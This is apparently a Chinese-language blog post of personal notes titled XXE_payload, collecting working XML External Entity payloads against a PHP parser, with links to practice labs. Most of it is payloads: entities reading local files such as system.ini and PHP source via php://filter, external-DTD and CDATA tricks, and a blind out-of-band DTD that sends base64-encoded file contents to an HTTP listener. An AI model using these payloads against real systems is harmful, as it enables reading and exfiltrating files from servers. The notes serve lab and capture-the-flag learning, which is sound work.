zoukankan      html  css  js  c++  java
  • XXE_payload

    <?php
        $xmlfile = file_get_contents('php://input');
        $creds=simplexml_load_string($xmlfile);
        echo $creds;
    ?>
    

    1 回显的类型

    1.1

    POC:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
    <creds>&goodies;</creds>
    

    1.2

    与1.1不一样的是,引入的外部的dtd

    POC:

    **********
    post提交的数据:
    <?xml version="1.0"?> 
    <!DOCTYPE creds  SYSTEM "http://127.0.0.1/test/evil.dtd">
    <creds>&b;</creds>
    **********
    http://127.0.0.1/test/evil.dtd的数据
    <!ENTITY b SYSTEM "file:///c:/windows/system.ini">
    

    1.3

    ********
    post:
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [  
    <!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd"> 
    %goodies;
    ]> 
    <creds>&b;</creds>
    ********
    evil.dtd
    <!ENTITY b SYSTEM "file:///c:/windows/system.ini">
    

    1.4

    当里面含有<,&时候,上边的方法用file协议读不出文件

    1.41

    如果是php的话,可以用php的filter协议直接读出文件

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> 
    <creds>&goodies;</creds>
    

    1.42

    拼接引用的内容,就可以正常输出
    **********
    post提交的数据:
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE roottag [
    <!ENTITY % start "<![CDATA[">   
    <!ENTITY % goodies SYSTEM "file:///C:/softeware/phpstudy/PHPTutorial/WWW/test/index.php">  
    <!ENTITY % end "]]>">  
    <!ENTITY % dtd SYSTEM "http://127.0.0.1/test/evil.dtd"> 
    %dtd; ]> 
    
    <roottag>&all;</roottag>
    *********
    evil.dtd的内容
    <?xml version="1.0" encoding="UTF-8"?> 
    <!ENTITY all "%start;%goodies;%end;">
    

    2 无回显

    2.1

    **********
    post:
    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://127.0.0.1/test/evil.dtd">
    %remote;%int;%send;
    ]>
    **********
    evil.dtd的内容
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test/flag.txt">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:9999?p=%file;'>">
    ***********
    python3 -m http.server 9999
    

    3总结一下自己老出错的地方

    最后引用实体的时候,老忘了打分号。&goodies;

    没有回显的时候,要注意用filter结合file的绝对路径

    filter可以不用绝对路径,但是有时候你是访问你的index.html,php文件不一定是index.php。

    靶场练习;

    https://github.com/c0ny1/xxe-lab

    http://web.jarvisoj.com:9882/

  • 相关阅读:
    事务的手动创建和提交
    计数器AtomicInteger
    多线程方法执行等待
    【javascript动画系列之网页白板】javascript实现的白板(兼容ff,ie,chrome,……)
    ie6,7下js动态加载图片不显示错误
    php中遇到include_path='.;C:\php5\pear'的错误
    linux下php扩展curl的安装
    【转】Linux操作系统文件系统基础知识详解
    【javascript动画之圆形运动】环绕鼠标运动作小球(兼容ie,ff,chrome,……)
    as(ActionScript)拖动实现
  • 原文地址:https://www.cnblogs.com/zaqzzz/p/11742140.html
Copyright © 2011-2022 走看看